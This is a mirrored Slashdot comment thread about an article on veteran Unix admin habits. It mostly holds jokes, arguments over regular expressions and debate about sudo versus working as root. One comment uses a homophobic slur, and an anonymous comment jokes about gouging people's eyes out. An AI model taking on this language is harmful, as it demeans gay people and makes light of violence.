Slashdot Mirror


Common Traits of the Veteran Unix Admin

snydeq writes "Deep End's Paul Venezia offers a field guide to understanding your resident Unix veteran, laying out the nine traits common to this grizzled, hardcore set. From not using sudo, to wielding regular expressions like weapons, to generally assuming the problem resides with whomever is asking the question, each trait is key to 'spotting these rare, beautiful creatures in the wild,' Venezia writes. 'If some of these traits seem anti-social or difficult to understand from a lay perspective, that's because they are. Where others may see intractable, overly difficult methods, we see enlightenment, borne from years of learning, experience, and overall, logic.'"

592 comments

  1. And neck beards by theillien · · Score: 5, Funny

    Don't forget the neck beards.

    1. Re:And neck beards by Anonymous Coward · · Score: 0

      You forgot:
      ...And Get Off My Lawn!

    2. Re:And neck beards by sudo · · Score: 1

      It used to be beards and suspenders ...
      http://www.perturb.org/display/entry/462/

    3. Re:And neck beards by ZeRu · · Score: 1

      ...and bare foot.

      --
      If you post as an AC, don't expect me to spend a mod point on you.
    4. Re:And neck beards by 16Chapel · · Score: 2

      "Beards and Suspenders"

      A phrase guaranteed to make any Brit shudder.

    5. Re:And neck beards by Anonymous Coward · · Score: 0

      ... filled with food.

    6. Re:And neck beards by BrokenHalo · · Score: 1

      That incongruous image crossed my mind too. (For the Merkins around here, suspenders are what some ladies use to keep their stockings up.)

      Incidentally, the earlier remark about neck beards is just silly. If a Unix admin wants to shave, he'll shave. Otherwise he'll just let his beard grow in its naturally unkempt (and occasionally scraggly) form.

    7. Re:And neck beards by laejoh · · Score: 1

      Indeed, and it's true for even the female Veteran Unix Admins! (I know I upset many of the younger admins with this statement)

    8. Re:And neck beards by mattack2 · · Score: 1

      For the Merkins around here, suspenders are what some ladies use to keep their stockings up.

      Umm, no. What was Larry King well known for wearing?

      That's right, suspenders.

  2. The Problem With Veteran Unix Admins by WrongSizeGlass · · Score: 0

    The problem with veteran Unix admins is they never get first post.

    1. Re:The Problem With Veteran Unix Admins by rockiams · · Score: 0

      I got a FP on Xmas for a robot article...was pretty jazzed about it too. So take that whippersnapper!

    2. Re:The Problem With Veteran Unix Admins by mysidia · · Score: 1

      The problem with veteran Unix admins is they never get first post.

      That's because the veteran Unix admins are too busy running their Perl script to mod down "first post" posts.

      And since you can't moderate and post to the same discussion (well, actually the veteran Unix admins can probably get around that one), well, you know....

    3. Re:The Problem With Veteran Unix Admins by JWSmythe · · Score: 2

          Sure we do.

          We write a script that...

          Reads the story.
          Opens the reply form.
          Searches our databases for related information.
          Creates a whimsical yet topical reply.
          Inserts it into the comment box
          And then counts down the seconds due to the damned 15 seconds required between opening the reply form and submitting it. Mine usually gets it in with 14 seconds to spare. :)

          Of course, we can't allow it to get first post every time. That would be far too obvious. Mine is set to randomly try about once a month.

          Th at silly "Watson" Jeopardy AI has nothing on us. But, we couldn't be bothered with such silly games. We have more interesting things to do, like see how long we can keep a Slashdot thread going, or how long we can keep people interested in a conversation on IRC.

      --
      Serious? Seriousness is well above my pay grade.
    4. Re:The Problem With Veteran Unix Admins by shawb · · Score: 1

      How does keep people interested in a conversation on IRC make you feel?

      --
      I'll never make that mistake again, reading the experts' opinions. - Feynman
    5. Re:The Problem With Veteran Unix Admins by JWSmythe · · Score: 1

      I feel very good today. Tell me how you feel.

      --
      Serious? Seriousness is well above my pay grade.
    6. Re:The Problem With Veteran Unix Admins by squidflakes · · Score: 1

      This conversation is about you, not me.

    7. Re:The Problem With Veteran Unix Admins by BrokenHalo · · Score: 1

      We have more interesting things to do, like see how long we can keep a Slashdot thread going...

      I'm not sure that has anything to do with Unix veterans - more likely, someone who just has too much time on his hands. Incidentally, I have been told (by some AC who had succeeded in provoking me into a very silly argument spanning some 10 days, ending up with both of us in total harmonious agreement) that Slashdot caps such exchanges at 2 weeks.

    8. Re:The Problem With Veteran Unix Admins by whitroth · · Score: 1

      What if you never found out how I feel?

                  - Eliza, er, mark

    9. Re:The Problem With Veteran Unix Admins by JWSmythe · · Score: 1

          Do you care to elaborate on that? Are you feeling insecure, so we should not talk about you?

      --
      Serious? Seriousness is well above my pay grade.
    10. Re:The Problem With Veteran Unix Admins by JWSmythe · · Score: 1

          Do as we all do. Emulate, emulate, emulate.

      --
      Serious? Seriousness is well above my pay grade.
  3. vim? really? by shitetaco · · Score: 5, Insightful

    vim? svelt? Puhleez. When not using ed(1), Real Unix vets use Bostic's One True vi, not some fagged-up Vegas showplace of an editor like vim.

  4. RegEx? by Mr.+Sketch · · Score: 5, Funny

    wielding regular expressions like weapons

    Reminds me of:

    Some people, when confronted with a problem, think "I know, I'll use regular expressions." Now they have two problems.
    - Jamie Zawinski

    1. Re:RegEx? by BitterOak · · Score: 2

      wielding regular expressions like weapons

      Reminds me of:

      Some people, when confronted with a problem, think "I know, I'll use regular expressions." Now they have two problems. - Jamie Zawinski

      I think the point is that what separates the true Unix gurus from the wannabees are that the gurus have no problems with their regular expressions.

      Still, it's sad though. I remember the day when regular expressions were considered basic knowledge, and what distinguished the true Unix gurus was the ability to read and write sendmail configuration files by hand.

      --
      If I can be modded down for being a troll, can I be modded up for being an orc, or a balrog?
    2. Re:RegEx? by jaymzter · · Score: 2

      Some people, when confronted with a Unix problem, think 'I know, I'll use sed'. Now they have two problems.

      From the Unix Hater's Handbook.

      --
      If thou see a fair woman pay court to her, for thus thou wilt obtain love
    3. Re:RegEx? by Anonymous Coward · · Score: 1

      wielding regular expressions like weapons

      Reminds me of:

      Some people, when confronted with a problem, think "I know, I'll use regular expressions." Now they have two problems.
      - Jamie Zawinski

      I think the point is that what separates the true Unix gurus from the wannabees are that the gurus have no problems with their regular expressions.

      Still, it's sad though. I remember the day when regular expressions were considered basic knowledge, and what distinguished the true Unix gurus was the ability to read and write sendmail configuration files by hand.

      Let me add to Zawinski's post - the admin who uses overuses regular expressions and thinks, like the hardcore coders who dream in Perl, that they'll have no trouble figuring out what was the code was supposed to do a year or two or five from now has THREE problems, at least one of which is unsolvable.

    4. Re:RegEx? by Anonymous Coward · · Score: 3, Insightful

      Beware, Cthulu awaits.

    5. Re:RegEx? by jomama717 · · Score: 2

      I know you're joking (and it's funny), but I'm inclined to jump to the defense of using regex to solve problems - take this example:

      Requirement: Long URLs must have a slash between the domain and the path component. For example, http://example.com?query=parameter is invalid, and instead should be formatted as http://example.com/?query=parameter

      I challenge you to find a non-regex solution as nice as this:

      url = url.replaceFirst('(://[^/]*)\\?','$1/?');

      Java, in this case - but that's another beauty - you could implement the same pattern in any language that supports regex. I love it...I do love it so.

      --
      while [ 1 ]; do echo -n -e "\xe2\x95\xb$((($RANDOM&1)+1))"; done
    6. Re:RegEx? by thehodapp · · Score: 2

      I've also heard regex solutions, while nice and pretty sometimes, can also be very inefficient especially if you are doing something like url parsing.

    7. Re:RegEx? by wvmarle · · Score: 2

      I'd say your solution is as nice as it's readable!

    8. Re:RegEx? by abhi_beckert · · Score: 1

      I think the point is that what separates the true Unix gurus from the wannabees are that the gurus have no problems with their regular expressions.

      Surely such higher beings are just a myth? I've been writing regex patterns almost daily for 10 years, and still can't get my head around most of it.

    9. Re:RegEx? by jomama717 · · Score: 2

      That's very true, if it is ultra-high traffic code I wouldn't use regular expressions for much, although you can improve performance a bit (even in the above example) by pre-compiling the pattern and using a static reference to it. How many times though do you run across terrible abuses of chained/nested substring calls (usually without bounds checking) to accomplish things like the above? This is just one area where regex is a godsend.

      --
      while [ 1 ]; do echo -n -e "\xe2\x95\xb$((($RANDOM&1)+1))"; done
    10. Re:RegEx? by vux984 · · Score: 3, Informative

      Requirement: Long URLs must have a slash between the domain and the path component.

      The generic URI syntax consists of 4 main components... ://?

      The path component is optional, and the authority component can be terminated directly by a ?. Per RFC 2396.

      3.2 The authority component is preceded by a double slash "//" and is
            terminated by the next slash "/", question-mark "?", or by the end of
            the URI.

      So I am unclear sure where your requirement to insert a slash actually comes from.

      I challenge you to find a non-regex solution as nice as this:

      Given you are using java, using the URL class. I would expect url.toString() to emit a well formed URL, with the various components separated to spec.

      I suppose you could also construct the string manually from the url parts in a straightforward manner... something along the lines of...

      urlstring = url.getProtocol() + "://" + url.getAuthority() + "/" + url.getFile();

    11. Re:RegEx? by vux984 · · Score: 2

      Follow up to fix this as /. ate my angle brackets...

      The generic URI syntax consists of 4 main components...

      [scheme]://[authority][path]?[query]

    12. Re:RegEx? by jomama717 · · Score: 2

      The requirement actually comes from a popular URL shortening service (I don't know why I'm resisting identifying it, but I am). The "url" variable is a plain String generated in one of many other parts of the code - these other parts guarantee that the URL is valid by the spec, but as you point out this particular requirement is beyond the spec. And anyway, to gain the advantage of the URL class's built-in validation the string would have to be used to instantiate a URL instance, and a failure to validate would result in a thrown exception - whatever the built-in validation does (probably uses regex :) ) plus a thrown Exception is much more harsh than a little, if sometimes unnecessary, regex replacement.

      --
      while [ 1 ]; do echo -n -e "\xe2\x95\xb$((($RANDOM&1)+1))"; done
    13. Re:RegEx? by UnknowingFool · · Score: 2

      All I know is that when first saw regular expressions, I thought my modem had been disconnected and I was about get that damn "CARRIER LOST" signal again. Then I realized I was using Ethernet. After changing my shorts, I realized how [regex] I was.

      --
      Well, there's spam egg sausage and spam, that's not got much spam in it.
    14. Re:RegEx? by fahrbot-bot · · Score: 2

      The requirement actually comes from a popular URL shortening service...

      Which, of course, makes the service incorrect as RFC 2396 says [/?] are valid authority delimiters and just makes it their "requirement" ... Just sayin'. From the RFC:

      The authority component is preceded by a double slash "//" and is terminated by the next slash "/", question-mark "?", or by the end of the URI.

      --
      It must have been something you assimilated. . . .
    15. Re:RegEx? by pegdhcp · · Score: 1

      Yes, now we have m4... I always wonder why they did not give up at m1, m2 or m3.... Nowadays people are obsessed with "what" the system should do, they do not care about "how". So if something unpredictable happens they try to solve it by rebooting....

    16. Re:RegEx? by Rakarra · · Score: 1

      you could implement the same pattern in any language that supports regex.

      The problem is, I've dealt with regexes in enough languages to see that every language does things just a little differently with different extensions. That actually makes trying to move regexes between languages a fairly difficult prospect, especially since those horrible-looking things are difficult to debug.

    17. Re:RegEx? by L4t3r4lu5 · · Score: 1

      I don't see what the fuss is about. regex are logical parsers; You can construct without error exactly what they do with little to no input from any other piece of code. That's rare.

      I haven't got a clue how to construct them, but after reading this, I'm damn well going to learn.

      --
      Finally had enough. Come see us over at https://soylentnews.org/
    18. Re:RegEx? by TheRaven64 · · Score: 1

      Depends. When you use a one-off regex, the library implementing it has to parse the input, generate a state machine from it, and then run the state machine on the input. The first part is quite expensive, but the second part can be pretty fast. If you're using an environment that supports run time code generation, or the regular expression is a compile-time constant, then it may be that the state machine is run through some optimisers and compiled (this is true in Lisp and some JavaScript implementations, for example), so it may end up being faster than some ad-hoc string parsing code. In all cases, it's faster to create the regex object once and reuse it than create it every use, because this lets you skip the parsing phase, even if you're not doing any code generation.

      --
      I am TheRaven on Soylent News
    19. Re:RegEx? by TheRaven64 · · Score: 1

      The "url" variable is a plain String generated in one of many other parts of the code

      And this highlights one of the main issues with regular expressions in code: they are often used to hide problems elsewhere. The correct solution to this problem is to recognise that a URL is a structured data type and treat it as such throughout your program, then convert it to a string at the last moment. The regex-lover's solution is to throw structured data into a string and then try to parse it later using a regex. The regex approach is more fragile, less maintainable, less readable, and slower.

      There are some cases where a regex is the correct solution, but in most cases it's a symptom of more serious problems elsewhere.

      --
      I am TheRaven on Soylent News
    20. Re:RegEx? by AmonTheMetalhead · · Score: 1

      That's why you comment your work, any admin or coder that does not properly comment & document his work is an idiot.

    21. Re:RegEx? by AmonTheMetalhead · · Score: 1

      It's mostly the syntax that screws with me, i don't use regex that much, but when i do i need a cheat sheet:(

    22. Re:RegEx? by ezzzD55J · · Score: 1


      You're missing the point - writing them is the easy part. If the problem is suitable. It's just too easy to get into an unmaintainable mess.

    23. Re:RegEx? by Anonymous Coward · · Score: 0

      Where precisely do you place the comments in a 50 character regular expression?

    24. Re:RegEx? by Anonymous Coward · · Score: 0

      That's why perl has /x. A good programmer knows when NOT to use REs to solve something, but that doesn't mean you can't write one prettyprinted and commented when it's the right tool for the job.

    25. Re:RegEx? by s122604 · · Score: 1

      Sounds like me

      I don't know how many times I've taught myself regular expressions

      My use is infrequent enough that my brain lets itself forget how to do it.

    26. Re:RegEx? by qwijibo · · Score: 3, Informative

      We exist. It's really pretty simple, achieve enlightenment, then the regular expressions will get you. It's much harder the other way around.

      I once wrote a program that read tables from a database to generate regular expressions to parse really messed up addresses (third world, not easy US style). The regex generated the Perl variables that would populate the database table. I think the largest of the expressions was ~43k, hence why the regex was generated, being a concept that was used in the code, but never appeared, for the intense fear it would incite. 10 pages of code and a few tables to replace an expensive program we bought that didn't work.

      As with any type of programming, you have to look at it from the computer's perspective and understand how the computer will feel about the code you're feeding it.

    27. Re:RegEx? by Anonymous Coward · · Score: 0

      I challenge you to find a non-regex solution as nice

      I can't find one as nice, but I can find one that is much, much nicer:

      url = (new URI(url)).toString()

    28. Re:RegEx? by qwijibo · · Score: 1

      I prefer to place the comments above, if a statement, or below if part of an if condition. 1k of comments to explain those 50 characters will either help your successor, or clarify to them why they should not touch what they do not understand.

    29. Re:RegEx? by Anonymous Coward · · Score: 0

      Friedl's book is good for getting a handle on the differences between different kinds of REs, IMO.

    30. Re:RegEx? by starfishsystems · · Score: 1

      Yep. Of couse, you could say the same thing about awk too.

      Both are a bit hard on the brain, but when used judiciously can reduce a string-processing problem to its simplest form. They're good examples of specialized languages.

      I'd like to say the same of Perl, but in practice I've found that more Perl scripts are badly written than all other scripting languages combined. Sure, Perl is hard on the brain, but apparently not enough to discourage misuse.

      --
      Parity: What to do when the weekend comes.
    31. Re:RegEx? by melikamp · · Score: 1

      How about the problem from TFA: "replace every third character in a 100,000-line file, except when it's followed by the numeral 4". Since TFA does not qualify anything else, we have to assume that the file is a binary file with 999999 new line characters, and line lengths can be as low as zero.

    32. Re:RegEx? by BrokenHalo · · Score: 1

      That's why you comment your work

      [sigh] The real programmer doesn't need comments. The intent of the code should be obvious.

    33. Re:RegEx? by jvkjvk · · Score: 1

      Which, of course, makes the service incorrect as RFC 2396 says [/?] are valid authority delimiters and just makes it their "requirement" ... Just sayin'.

      And then you can complain to them and try to make them fix their implementation (which of course will probably break some large set of people who are using their interface as they requested). I'd like to see how that goes...

      Or you can implement the interface per their spec and have it work.

      This is the issue once we get to services. If you use a service that you didn't build, you use their interface, or not at all. You can certainly try to get them to change it, but unless they see a business opportunity (or the service is open source) you might have a devil of a time convincing them that you are "right" (in the fact that they NEED to change).

      Regards.

    34. Re:RegEx? by AmonTheMetalhead · · Score: 1

      What is obvious to you isn't necessarily obvious to the next guy, or even to yourself in 10 years.

      The code may be obvious, the motivation why this or that approach was taken might not be.

    35. Re:RegEx? by swilly · · Score: 1

      I think that taking the CS course on Finite Autonoma is almost necessary to understand regular expressions. It is certainly necessary to know how to optimize them (expressions that are quick in a DFA may be extremely slow in an NFA, but expressions that are doable in an NFA may not work in a DFA).

      You will also learn what regular expressions cannot do for you, and when you need a context free grammar.

    36. Re:RegEx? by BatGnat · · Score: 1

      I find that offensive. RegEx Rules!!!

    37. Re:RegEx? by jomama717 · · Score: 1

      No good. The given requirement is not compliant with the URI spec, and the canned toString() will *not* put a slash between the domain and the query string when no path component is present. This means you have to build your own custom toString() for URI, and properly build it with all of the components in their correct places with the addition of the extra slash when necessary.

      --
      while [ 1 ]; do echo -n -e "\xe2\x95\xb$((($RANDOM&1)+1))"; done
    38. Re:RegEx? by smooth+wombat · · Score: 1

      Based on my experiences, that means the majority of coders and admins out there are idiots. I almost never see comments or documentation (good or bad) on any software.

      Just as realtors like to say, "Location, location, location", (one) of my quotes is "Document, document, document".

      --
      We will bankrupt ourselves in the vain search for absolute security. -- Dwight D. Eisenhower
    39. Re:RegEx? by sorak · · Score: 1

      You would also have job security, as no one else could read your code.

    40. Re:RegEx? by jomama717 · · Score: 1

      If you can handle multi-line regex (where . matches a newline) on the command line in unix, it's beyond me (perl's regex might handle this - I know java's does). I would break out awk for that on the command line, and process a simple i/o character stream in a more advanced language. For giggles though, this pattern, inside a find loop in java, and append-replacing $1X (where X is what you want to insert) whenever the 2nd group is *not* present - would work:

      (?m)(..).(?:((?=4))|(?=.)|$)

      Not the ideal solution :)

      --
      while [ 1 ]; do echo -n -e "\xe2\x95\xb$((($RANDOM&1)+1))"; done
    41. Re:RegEx? by melikamp · · Score: 1

      Yeah that was kind of my point: if we need to drag in Java, then processing a byte stream in simple loop is actually easier and faster. I don't think the author described a good RE application; he was probably thinking of a different problem.

    42. Re:RegEx? by DeVilla · · Score: 1

      That brings back memories. I remember getting started in operations in college and a guy explaining that he was good, but not good enough to write a sendmail config by hand. I'd seen the bat book, but that was about all I understood of it at the time. He then went on to explain how our senior sys-admin could do that and write termcap entries by hand.

      I still can't do either without a reference and don't intend to try.

    43. Re:RegEx? by Anonymous Coward · · Score: 0

      Read 30% down that link and you'll see that they're not parsing URIs. They're trying to parse HTML tags within the body of a document. There's a significant difference in complexity.

  5. Hmmm by mmj638 · · Score: 3, Insightful

    Lemme just email this to all my friends with the subject line "If you know someone like this pass it on LOL"

    1. Re:Hmmm by snookiex · · Score: 1

      Or post it in Facebook hoping that some of them hit the "like" button

      --
      Open Source Network Inventory for the masses! Kuwaiba
    2. Re:Hmmm by sorak · · Score: 1

      I will as soon as I finish sending out this self-righteous email about Obama's proposal to beat up civil war veterans to further Kenyan flag burning efforts against the troops.

      Can't believe that Obama...That's some bullshit, right there!

  6. Common Traits of the Veteran Unix Admin #10 by mgichoga · · Score: 5, Funny

    Real Unix admins would be reading this post in lynx.

    1. Re:Common Traits of the Veteran Unix Admin #10 by Anonymous Coward · · Score: 4, Funny

      Real Unix admins wouldn't be reading this in lynx - they would be discussing it in alt.comp.slashdot

    2. Re:Common Traits of the Veteran Unix Admin #10 by mmj638 · · Score: 4, Insightful

      I'm actually rather impressed that this site still works in Lynx, what with all its new-fangled ajax hoohaa.

    3. Re:Common Traits of the Veteran Unix Admin #10 by Anonymous Coward · · Score: 0

      curl http://tech.slashdot.org/story/11/02/14/2357242/ | vim -

    4. Re:Common Traits of the Veteran Unix Admin #10 by bigstrat2003 · · Score: 3, Insightful

      With the audience of this site, it wouldn't surprise me if Lynx is a test case when the design is modified.

      --
      "16MB (fuck off, MiB fascists)" - The Mighty Buzzard
    5. Re:Common Traits of the Veteran Unix Admin #10 by breser · · Score: 1

      At least pipe it to view: curl http://tech.slashdot.org/story/11/02/14/2357242/ | view -

      Or you could use -R on vim (but view is the same thing): curl http://tech.slashdot.org/story/11/02/14/2357242/ | vim -R -

      So you don't get bitched at to save it when you're done.

    6. Re:Common Traits of the Veteran Unix Admin #10 by Anonymous Coward · · Score: 0

      You jest, but slashdot can already be read in at least one real news reader.

    7. Re:Common Traits of the Veteran Unix Admin #10 by grcumb · · Score: 3, Insightful

      With the audience of this site, it wouldn't surprise me if Lynx is a test case when the design is modified.

      Lynx is my 'What does this look like to Google?' browser.

      Every time someone claims not to care about whether blind people can access their site, I remind them that search engine crawlers are blind.

      --
      Crumb's Corollary: Never bring a knife to a bun fight.
    8. Re:Common Traits of the Veteran Unix Admin #10 by Anonymous Coward · · Score: 1

      Real Unix admins would be reading this post in lynx.

      s/would be/are/g

    9. Re:Common Traits of the Veteran Unix Admin #10 by inKubus · · Score: 3, Insightful

      Actually, correction:
      10. Veteran Unix admins don't "write articles for InfoWorld".

      --
      Cool! Amazing Toys.
    10. Re:Common Traits of the Veteran Unix Admin #10 by Scarletdown · · Score: 1

      That's rather neat that Slashdot works with Lynx. http://i4.photobucket.com/albums/y129/Scarletdown/Slashdot-Lynx.jpg Granted, it looks like crapola, but it's still neat in a "Wow! That sure takes me back to the old library freenet days of the 90s" sort of way.

      --
      This space unintentionally left blank.
    11. Re:Common Traits of the Veteran Unix Admin #10 by Anonymous Coward · · Score: 0

      . . . dammit, why didn't I think of that? Screw you, site redesign!

    12. Re:Common Traits of the Veteran Unix Admin #10 by wiredlogic · · Score: 1

      Pshaw. Hand in your DECterm. Anything less than telnetting into port 80 is for amateurs.

      --
      I am becoming gerund, destroyer of verbs.
    13. Re:Common Traits of the Veteran Unix Admin #10 by amorsen · · Score: 1

      With the audience of this site, it wouldn't surprise me if Lynx is a test case when the design is modified.

      With the history of this site, I would be greatly surprised if it involves "design", never mind "test cases".

      --
      Finally! A year of moderation! Ready for 2019?
    14. Re:Common Traits of the Veteran Unix Admin #10 by zill · · Score: 1

      With all the compatibility problems, it wouldn't surprise me if Lynx is the only test case when the design is modified.

    15. Re:Common Traits of the Veteran Unix Admin #10 by maxwell+demon · · Score: 2

      And moderate it with a custom header:

      X-Moderate-Parent: Funny

      --
      The Tao of math: The numbers you can count are not the real numbers.
    16. Re:Common Traits of the Veteran Unix Admin #10 by dave420 · · Score: 1

      And remind them of the ADA.

    17. Re:Common Traits of the Veteran Unix Admin #10 by mwvdlee · · Score: 1

      Agreed. Why would a veteran Unix admin need a textually formatted representation of a HTML file while they can just read the HTML, CSS and JS and deduce how the page is supposed to look and interact.

      --
      Slashdot social media options: AIM, ICQ, Yahoo, Jabber and Mobile Text. Why no MySpace?
    18. Re:Common Traits of the Veteran Unix Admin #10 by vlm · · Score: 1

      Every time someone claims not to care about whether blind people can access their site, I remind them

      of multi-million dollar judgments brought by trolly ADA lawyers? Even if "they never happen" the urban legend of them is strong enough to be effective.

      --
      "Science flies us to the moon. Religion flies us into buildings." - Victor Stenger
    19. Re:Common Traits of the Veteran Unix Admin #10 by Anonymous Coward · · Score: 0
    20. Re:Common Traits of the Veteran Unix Admin #10 by dbIII · · Score: 1

      Not a bad idea - firefox cuts off the first letter on the top forty lines or so of article text with the white from the stupid sidebar.
      I think I will use lynx until the formatting issues are sorted out. The articles look good and I never have to worry about a link taking me to unusual images or stupid youtube rickrolls.

      You can actually see all the comments in lynx as well instead of the weird unroll thing which hides the entire thread you are interested in.

    21. Re:Common Traits of the Veteran Unix Admin #10 by Anonymous Coward · · Score: 0

      Every time someone claims not to care about whether blind people can access their site, I remind them that search engine crawlers are blind.

      I take out a corkscrew and remove their eyes, that solves the problem without the need for an argument.

    22. Re:Common Traits of the Veteran Unix Admin #10 by Anonymous Coward · · Score: 0

      My sister (the one the moose bit) has an ajax hoohaa. Takes pills three times a day for it.

    23. Re:Common Traits of the Veteran Unix Admin #10 by greg1104 · · Score: 1

      The National Federation of the Blind sued Target for a $6M settlement because their site was not accessible to blind users.

    24. Re:Common Traits of the Veteran Unix Admin #10 by gknoy · · Score: 1

      Why? I would imagine for the same reason that they write tools: laziness is a virtue when it lets you save work later.

  7. We don't use sudo? by matt-fu · · Score: 0, Flamebait

    This guy lost me with the first thing on the list. Going directly to root is great - if you're a noob in mom's basement. Nobody who has ever run systems in a serious environment mucks around as root as an alternative to something like sudo.

    1. Re:We don't use sudo? by dAzED1 · · Score: 1

      seriously. I guess real old-school UNIX sysadmins just log in as root, or setuid everything. that's the mark of a grizzled old coot that uses logic!

    2. Re:We don't use sudo? by visualight · · Score: 4, Informative

      You're wrong, the article is right.

      --
      Samsung took back my unlocked bootloader because Google wants me to rent movies. They're both evil.
    3. Re:We don't use sudo? by DataDiddler · · Score: 2

      Of course. There's always "sudo -s", but that requires more keystrokes. If you're doing something like editing a bunch of configs in /etc typing sudo at the beginning of every single line gets a bit old. (Besides, if you're paying for all that backup media, you might as well use it every now and again).

      --
      Working...
    4. Re:We don't use sudo? by Anonymous Coward · · Score: 1, Insightful

      Using sudo exclusively is like bowling with only the inflatable bumpers in the gutters -- it's safer, but also causes you to not think through your actions fully.

      That is just stupid. System destroying actions are system destroying actions. Sudo or su or runlevel 1, if you are not thinking out your actions, you have no business executing that action. Both commands can get you into the same trouble.

    5. Re:We don't use sudo? by novalis112 · · Score: 0

      You're wrong, the parent is right.

    6. Re:We don't use sudo? by novalis112 · · Score: 1

      Agreed. The article seemed to be describing old hackers, hardly the methodical, *sudo using* people with the talent to be actual admins. Granted, there's a lot of overlap, but they are far from the same thing.

    7. Re:We don't use sudo? by Anonymous Coward · · Score: 0

      If you have to do something more then twice, write a program/script/tool to do it for you.

      The tool when you find yourself using sudo for more than 2 consecutive commands is changing to root.

    8. Re:We don't use sudo? by rockiams · · Score: 5, Insightful

      Really? When your job is entirely about being root, sudo is just getting in the way. I happen to have run systems in a serious environment, and we never used sudo. I would say if you have something to do that ISN'T root, you sir are teh nub.

    9. Re:We don't use sudo? by Anonymous Coward · · Score: 5, Insightful

      You're both wrong, I'm right.

    10. Re:We don't use sudo? by theshowmecanuck · · Score: 1

      Whatever.

      --
      -- I ignore anonymous replies to my comments and postings.
    11. Re:We don't use sudo? by Anonymous Coward · · Score: 2, Informative

      Seconded. Obligatory car analogy:

      Relying on sudo to keep you safe is like relying on your car's bumpers to avoid injury. You'd have been better served just watching the f**king road.

      Where the analogy breaks down, is that bumpers are still a good idea even if you're most cautious. There are other morons sharing the same road.

      Your shell, however, is yours and yours alone for the lifetime of the process. If you don't trust yourself not to type something stupid, you shouldn't be working as an administrator. Period. Sudo was never intended to function as training wheels. To imply its necessity is to claim you, the junior admin, knows better than the senior admin. When you've done your trench time, you too will trust yourself.

      Sudo's proper place is for developer and QA commands that happen with annoying frequency should an admin have to get involved.

    12. Re:We don't use sudo? by Anonymous Coward · · Score: 0

      Of course. There's always "sudo -s", but that requires more keystrokes.

      If you're doing something like editing a bunch of configs in /etc typing sudo at the beginning of every single line gets a bit old. (Besides, if you're paying for all that backup media, you might as well use it every now and again).

      you forgot that admins are inherently lazy ..so the correct approach is alias ss="sudo -s "
      so then ss gets you sudo -s with 2 keystrokes

    13. Re:We don't use sudo? by 19thNervousBreakdown · · Score: 1

      The truly enlightened split the difference and "sudo su -". Your actions are logged, you're accountable, and you still get your freedom.

      --
      <xml><I><am><so><damn>Web 2.0</damn></so></am></I></xml>
    14. Re:We don't use sudo? by iammani · · Score: 2

      When your job is entirely about being root

      I somehow doubt that. Does every process you create need root privilege? Do you ever use grep (or awk or sed) and do you really need to run it with root privileges?
       
      With sudo you can selective run commands with root privilege.

    15. Re:We don't use sudo? by i_ate_god · · Score: 1

      sudo su?

      --
      I'm god, but it's a bit of a drag really...
    16. Re:We don't use sudo? by squallstrifeau · · Score: 3, Insightful

      Su to root, solve the problem, get out. I don't see what isn't methodical about that?

      The article certainly isn't suggesting that one should surf the web or IRC as root...

      The popular Linux community is so tied up in what Canonical has deemed "best practice" that it no longer trusts itself with the level of control it brags to Windowsland about having.

    17. Re:We don't use sudo? by firstnevyn · · Score: 1

      Nope.. only the fact you sudo su -'d was logged. nothing after that was.

      Sudo everything provides an actual audit trail to the actions taken by an admin. which is essential in environments where governance and acountability are required.

    18. Re:We don't use sudo? by Anthony+Mouse · · Score: 2

      This guy lost me with the first thing on the list. Going directly to root is great - if you're a noob in mom's basement. Nobody who has ever run systems in a serious environment mucks around as root as an alternative to something like sudo.

      Contrary to the article's stated rationale, there is a real reason not to use sudo: If you run some malicious code as the wheel user, it can modify the wheel user's environment. Then the sudo command runs in the wheel user's environment with e.g. a malicious $PATH and you go from having a compromised user account to having a compromised system.

      Incidentally, this is also why you should never run "su" and always run "/bin/su -".

    19. Re:We don't use sudo? by matt-fu · · Score: 5, Insightful

      Really. I consider it a sign of inexperience and an indicator that the admin has never had to clean up after someone else screwed something up as root. That may be the case if you are super meticulous and you've been the only admin everywhere you've been, but no serious environment only has one root level admin and I have yet to meet anyone who was really good and super meticulous all the time.

      I'm doing sysadmin, maybe one out of 20 commands I type *have* to be run with root access. If I am doing them all as root then there is a much greater chance of making a mistake and committing that system destroying action or, even worse, doing something subtly bad that nobody knows about until later when it's too late. It also makes me think twice (instead of just once) before executing that command as sudo.

      Sudo logs commands that were run, by whom, and when. Even if I didn't care about whether I was root all the time or not, having a log of what was done with that access can be an indispensable tool when doing system troubleshooting. It's also a handy way of telling if someone screwed something up or if j00 wuz pwndz.

      To me, running around as root and not using sudo is like using vi to look at a config file you have no intention of editing or similar. It's too easy to slip up and do something wrong once you get "in the groove". Add a page at 4am to that or a situation where you're at the tail end of a 30 hour emergency maint and it's beyond easy to screw things up.

    20. Re:We don't use sudo? by 19thNervousBreakdown · · Score: 1

      Eh, close enough.

      --
      <xml><I><am><so><damn>Web 2.0</damn></so></am></I></xml>
    21. Re:We don't use sudo? by tnk1 · · Score: 4, Insightful

      Uh, sudo isn't a tool, its a wrapper to audit trail your ass and limit what you can run. The only reason to have it apply to admins is to watch them. Otherwise it just gets in the way. Its not like it adds something to the experience for anyone. It doesn't keep you from making a mistake, it just keeps you from running commands that someone else has decided that you don't need access to. That's like saying that locking away guns prevents you from shooting yourself in the foot. Its does... unless you are in the Army and your job is to tote the thing around on patrol for days at a time. There are simply some times in life where you have to know how not to shoot yourself in the foot.

      The only place I ever had it applied to me was when I worked in the financial services industry, and I understood their position. Even then, the sudoers file was so badly conceived that, had we wanted to, it would have been a simple matter to get a root shell. Its difficult to keep out the very people that you need to keep the system running. I'd argue that it is generally not even worth trying it at all unless a very unforgiving regulatory commission is breathing down your neck.

      If you don't know how to use root access in a way that doesn't screw up your box, you don't deserve to have a job as an admin, period. Its not like its easy to bumble around on a command line and screw something up. There's really only one really easy thing to do that will potentially demolish a box and that's rm -rf * in the wrong directory and it is a rare sudoers file indeed that prevents a sysadmin from running 'rm'. You could argue a reboot or shutdown on a box with something like a database might be a problem as well, but after that, you actually need to put some effort in screwing up your host with the other commands. Even format/fdisk requires you to think about how you are going to reformat your disk.

      I use sudo a lot... to make sure developers can't screw up boxes and do cute little tests in production. But my rule of thumb as an admin is that sudo is something that is inflicted on someone else.

    22. Re:We don't use sudo? by rockiams · · Score: 1, Redundant

      Yes. If it doesn't need to be run as root, then it is not my job. You need to grep a video directory for every instance of 'justin bieber"? Go ask someone who has nothing better to do and is thrilled to wield the power of grep. I will be busy mocking Winders admins and tossing them quarters.

    23. Re:We don't use sudo? by WinstonWolfIT · · Score: 1

